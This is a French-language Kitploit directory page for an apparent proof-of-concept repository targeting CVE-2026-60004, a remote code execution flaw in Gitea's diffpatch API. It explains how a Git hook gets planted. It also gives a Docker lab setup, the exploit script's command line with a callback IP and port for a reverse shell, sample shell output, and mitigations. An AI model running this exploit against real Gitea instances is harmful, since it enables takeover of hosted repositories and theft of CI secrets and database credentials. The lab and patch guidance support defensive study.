Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-60004 — Gitea diffpatch RCE | Kitploit
Outils/GitHubGitHub/eqstlab/cve-2026-60004
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubeqstlab/cve-2026-60004

CVE-2026-60004

Gitea diffpatch RCE

Voir le dépôt
16il y a 22 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


Présentation

CVE-2026-60004 est une vulnérabilité d'exécution de code à distance (RCE) dans Gitea. L'API diffpatch applique un patch fourni avec git apply --cached, qui ne devrait toucher que l'index et ne jamais écrire de fichiers sur le disque. En envoyant le même patch deux fois, un attaquant force une collision add/add qui déclenche le repli de fusion à trois points (-3) de Git. Ce chemin ignore --cached et extrait le fichier dans l'arbre de travail. Comme le clone temporaire est bare, la racine de son arbre de travail est $GIT_DIR. Un patch qui crée un hooks/post-index-change exécutable place donc un hook Git actif, que Git exécute automatiquement lors de la prochaine mise à jour de l'index — exécutant des commandes avec le compte de service Gitea. Le point de terminaison nécessite un accès en écriture au dépôt, mais l'inscription est activée par défaut, donc tout utilisateur capable de s'inscrire et de créer un dépôt peut y accéder.

Télécharger l’outil

Versions concernées

CatégorieVersion
VulnérableGitea 1.17 ≤ version ≤ 1.27.0
CorrigéeGitea 1.27.1 ou ultérieure

Impact

  • Exécution de code à distance avec le compte de service Gitea (git)
  • Accès à tous les dépôts hébergés, aux secrets CI et aux identifiants de base de données

Environnement

Construisez et exécutez l'environnement Gitea vulnérable. L'inscription reste ouverte et le serveur est livré avec Git 2.32+, ce qui active le repli -3 sur lequel repose l'attaque.

root@kitploit:~
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
PréconditionÉtat dans ce laboratoire
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ sur le serveur (active -3)2.54
Inscription ouverteactivée (par défaut)
Accès en écriture au dépôtvia un compte auto-inscrit

PoC

L'exploit est entièrement automatisé par gitea_exploit.py. Avec un compte capable de créer un dépôt, il crée le dépôt cible, soumet le même patch à plusieurs reprises jusqu'à ce que le repli -3 de Git se déclenche, et capture le reverse shell avec un écouteur intégré — aucune configuration manuelle, création de patch ou calcul de hachage de blob nécessaire.

root@kitploit:~
# python3 gitea_exploit.py <ip:cible port> <ip de rappel> [port de rappel]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

Le repli -3 ne se déclenche que dans certaines fenêtres temporelles, donc le script boucle créer → envoyer → envoyer jusqu'à ce qu'il capture (25 tentatives par défaut). Lorsqu'un envoi bloque, le hook s'est déclenché et l'écouteur vous dépose dans un shell en tant que git :

root@kitploit:~
[*] tentative  3/25 -> envoi#1 201, envoi#2 timeout   <- BLOQUÉ (déclenché !)
[+] shell depuis 172.17.0.2:53344 -- tapez des commandes, Ctrl-C pour quitter
uid=1000(git) gid=1000(git) groups=1000(git)

Options :

  • --no-listen — capturez le shell avec votre propre nc externe au lieu de l'écouteur intégré
  • --user / --pw / --repo / --branch — remplacez le compte et le dépôt cible par défaut

Atténuation

  • Mettez à niveau Gitea vers 1.27.1 ou une version ultérieure
  • Désactivez l'inscription ouverte si elle n'est pas requise (DISABLE_REGISTRATION=true)
  • Restreignez qui peut accéder à l'instance et créer des dépôts

Analyse

  • KR : Bientôt disponible !
  • EN :